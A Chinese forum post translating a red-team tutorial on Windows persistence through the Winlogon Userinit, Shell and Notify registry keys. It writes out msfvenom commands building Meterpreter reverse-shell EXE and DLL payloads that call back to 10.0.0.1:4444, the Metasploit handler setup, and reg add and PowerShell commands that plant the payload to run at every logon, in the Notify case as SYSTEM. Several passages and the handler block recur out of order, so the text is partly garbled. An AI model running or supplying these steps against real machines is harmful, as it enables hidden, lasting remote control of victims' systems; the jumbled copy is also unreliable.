首页
社区
课程
招聘
[翻译]长久控制-Winlogon Helper DLL
发表于: 2020-2-26 22:46 8928

[翻译]长久控制-Winlogon Helper DLL

2020-2-26 22:46
8928

原文链接:eeeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1L8r3q4T1i4K6u0W2j5X3I4G2k6#2)9J5c8U0t1H3x3U0m8Q4x3V1j5H3x3g2)9J5c8U0p5@1i4K6u0r3M7r3g2J5M7$3W2K6N6r3g2F1j5$3g2Q4x3X3c8%4K9h3&6D9L8$3N6G2L8W2)9J5k6r3S2W2L8s2m8W2M7W2)9J5k6r3c8D9L8q4)9J5c8R3`.`.

翻译:看雪翻译小组-玉林小学生

校对:看雪翻译小组-sudozhange


Winlogon是一个Windows组件,主要负责处理登录、登出、认证时加载用户profile,关机、锁屏等活动。这类行为由注册表管理,它指定了Windows登录发生时执行什么进程。从红队视角看,这些事件可以用来触发执行任意payload以实现长久控制。

实现这种长久控制需要修改下面这些注册表项:

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。

Metasploit – Meterpreter

“Shell”注册表键值也可以产生上面类似的行为。

Registry Key – Shell

Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification

在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。

需要修改“DLLName”注册表项为任意DLL名。

下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。

Persistence Notify Registry Key – Meterpreter

除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。

也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。

参考文献:

150K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0l9H3y4q4)9J5c8R3`.`.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Metasploit工具”msfvenom”可用于产生任意格式的任意payloads。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module

需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。

Registry Key – Userinit
Payload被成功执行将开启一个Meterpreter会话。

Metasploit – Meterpreter

“Shell”注册表键值也可以产生上面类似的行为。

Registry Key – Shell

Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification

在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > pentestlab.dll
Metasploit – msfvenom DLL Generation

需要修改“DLLName”注册表项为任意DLL名。

Registry Key – Notify

下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。

Persistence Notify Registry Key – Meterpreter

除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, pentestlab.exe" /f
Winlogon Registry Keys – Command Prompt

也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。

Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, pentestlab.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, pentestlab.exe" -Force
Winlogon Registry Keys – PowerShell

参考文献:

150K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0l9H3y4q4)9J5c8R3`.`.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 83
活跃值: (1092)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
已阅
2020-2-27 15:27
0
雪    币: 364
活跃值: (2157)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
已阅
2020-3-19 14:42
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
支持
2020-3-19 15:59
0
游客
登录 | 注册 方可回帖
返回